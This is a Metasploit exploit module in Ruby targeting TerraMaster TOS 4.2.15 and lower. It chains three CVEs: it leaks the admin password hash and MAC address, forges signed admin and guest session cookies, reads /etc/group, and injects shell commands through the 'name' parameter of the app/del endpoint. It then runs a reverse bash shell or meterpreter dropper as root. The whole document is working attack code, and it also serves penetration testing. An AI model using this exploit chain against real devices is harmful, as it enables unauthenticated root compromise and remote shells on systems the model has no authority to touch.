##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'digest/md5'
require 'time'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'TerraMaster TOS 4.2.15 or lower - RCE chain from unauthenticated to root via session crafting.',
'Description' => %q{
Terramaster chained exploit that performs session crafting to achieve escalated privileges that allows
an attacker to access vulnerable code execution flaws. TOS versions 4.2.15 and below are affected.
CVE-2021-45839 is exploited to obtain the first administrator's hash set up on the system as well as other
information such as MAC address, by performing a request to the `/module/api.php?mobile/webNasIPS` endpoint.
This information is used to craft an unauthenticated admin session using CVE-2021-45841 where an attacker
can self-sign session cookies by knowing the target MAC address and the user password hash.
Guest users (disabled by default) can be abused using a null/empty hash and allow an unauthenticated attacker
to login as guest.
Finally, CVE-2021-45837 is exploited to execute arbitrary commands as root by sending a specifically crafted
input to vulnerable endpoint `/tos/index.php?app/del`.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF module contributor
'n0tme' # Discovery and POC
],
'References' => [
['CVE', '2021-45837'],
['CVE', '2021-45839'],
['CVE', '2021-45841'],
['URL', 'https://thatsn0tmy.site/posts/2021/12/how-to-summon-rces/'],
['PACKETSTORM', '165399'],
['URL', 'https://attackerkb.com/topics/8rNXrrjQNy/cve-2021-45837']
],
'DisclosureDate' => '2021-12-24',
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X64, ARCH_X86, ARCH_AARCH64],
'Privileged' => true,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64],
'Type' => :linux_dropper,
'CmdStagerFlavor' => ['bourne', 'wget', 'curl'],
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 8181,
'SSL' => false
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Path to Terramaster Web console', '/'])
])
end
def get_data
# Initialise instance variable data to store the leaked data
@data = {}
# Get the data by exploiting the LFI vulnerability through vulnerable endpoint `api.php?mobile/webNasIPS`.
# CVE-2021-458439
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'module', 'api.php?mobile/webNasIPS'),
'headers' => {
'User-Agent' => 'TNAS',
'User-Device' => 'TNAS'
}
})
if res && res.code == 200 && res.body.include?('webNasIPS successful')
# Parse the JSON response and get the data such as admin password hash and MAC address
res_json = res.get_json_document
unless res_json.blank?
@data['password'] = res_json['data'].split('PWD:')[1].split("\n")[0].strip
@data['mac'] = res_json['data'].split('mac":"')[1].split('"')[0].tr(':', '').strip
@data['key'] = @data['mac'][6..11] # last three MAC address entries
@data['timestamp'] = Time.new.to_i.to_s
# derive signature
@data['signature'] = tos_encrypt_str(@data['key'], @data['timestamp'])
end
end
end
def tos_encrypt_str(key, str_to_encrypt)
id = key + str_to_encrypt
return Digest::MD5.hexdigest(id.encode('utf-8'))
end
def get_headers
{
'User-Agent' => 'TNAS',
'User-Device' => 'TNAS',
'Authorization' => @data['password'],
'Signature' => @data['signature'],
'Timestamp' => @data['timestamp']
}
end
def download_admin_users
# Initialise instance variable admin_users to store the admin users from /etc/group
@admin_users = []
# Download /etc/group information to find all the admin users belonging to the group admin.
# Using endpoint module/api.php?mobile/fileDownload as user guest allows to download the file without authentication.
# CVE-2021-45841
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'module', 'api.php?mobile/fileDownload'),
'ctype' => 'application/x-www-form-urlencoded',
'cookie' => "kod_name=guest; kod_token=#{tos_encrypt_str(@data['key'], '')}",
'headers' => get_headers,
'vars_post' => {
'path' => '/etc/group'
}
})
# get the admin users from /etc/group
if res && res.code == 200 && res.body.include?('admin')
res.body.each_line do |line|
next if line.empty?
field = line.split(':')
next unless field[0] == 'admin'
@admin_users = field[3].strip.split(',')
break
end
end
end
def get_session
# Use session crafting to iterate thru the list of admin users to gain a session.
# We will send two request per admin user. First request is a dummy request to obtain the session-id.
# This session-id will be used to send the second request that will execute the echo command with marker.
# if the response contains the marker, then the session has been successfully established.
# CVE-2021-45837
session = false
marker = Rex::Text.rand_text_alphanumeric(8..16)
for admin in @admin_users
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'tos', "index.php?app/del&id=0&name=;echo${IFS}#{marker};%23"),
'ctype' => 'application/x-www-form-urlencoded',
'keep_cookies' => true,
'cookie' => "kod_name=#{admin}; kod_token=#{tos_encrypt_str(@data['key'], @data['password'])}",
'headers' => get_headers
})
if res && res.code == 302 && !res.body.include?(marker.to_s)
# Send second request to establish a session and break from the loop if true.
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'tos', "index.php?app/del&id=0&name=;echo${IFS}#{marker};%23"),
'ctype' => 'application/x-www-form-urlencoded',
'keep_cookies' => true,
'headers' => get_headers
})
end
next unless res && res.code == 200 && res.body.include?(marker.to_s)
session = true
break
end
session
end
def get_terramaster_info
# get Terramaster CPU architecture (X64 or ARM64) and TOS version
@terramaster = {}
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'tos', 'index.php?user/login')
})
if res && res.body && res.code == 200
# get the version information from the request response like below:
# <link href="./static/style/bootstrap.css?ver=TOS3_A1.0_4.2.07" rel="stylesheet"/>
return if res.body.match(/ver=.+?"/).nil?
version = res.body.match(/ver=.+?"/)[0]
# check if architecture is ARM64 or X64
if version.match(/_A/)
@terramaster['cpu_arch'] = 'ARM64'
elsif version.match(/_S/) || version.match(/_Q/)
@terramaster['cpu_arch'] = 'X64'
else
@terramaster['cpu_arch'] = 'UNKNOWN'
end
# strip TOS version number and remove trailing double quote.
@terramaster['tos_version'] = version.split('.0_')[1].chop
end
end
def execute_command(cmd, _opts = {})
# Execute payload using vulnerable endpoint `index.php?app/del&id=0&name=;<PAYLOAD>;%23`
# CVE-2021-45837
payload = CGI.escape(cmd)
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'tos', "index.php?app/del&id=0&name=;#{payload};%23"),
'ctype' => 'application/x-www-form-urlencoded',
'keep_cookies' => true,
'headers' => get_headers
})
end
def check
get_terramaster_info
return CheckCode::Safe if @terramaster.empty?
if Rex::Version.new(@terramaster['tos_version']) <= Rex::Version.new('4.2.15')
return CheckCode::Vulnerable("TOS version is #{@terramaster['tos_version']} and CPU architecture is #{@terramaster['cpu_arch']}.")
end
CheckCode::Safe("TOS version is #{@terramaster['tos_version']} and CPU architecture is #{@terramaster['cpu_arch']}.")
end
def exploit
# get the leaked data
get_data
fail_with(Failure::BadConfig, 'Can not retrieve the leaked data.') if @data.empty?
download_admin_users
fail_with(Failure::BadConfig, 'Can not retrieve the list of admin users.') if @admin_users.empty?
fail_with(Failure::NoAccess, 'Can not establish an admin session.') unless get_session
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
# Don't check the response here since the server won't respond
# if the payload is successfully executed.
execute_cmdstager(linemax: 65536)
end
end
end
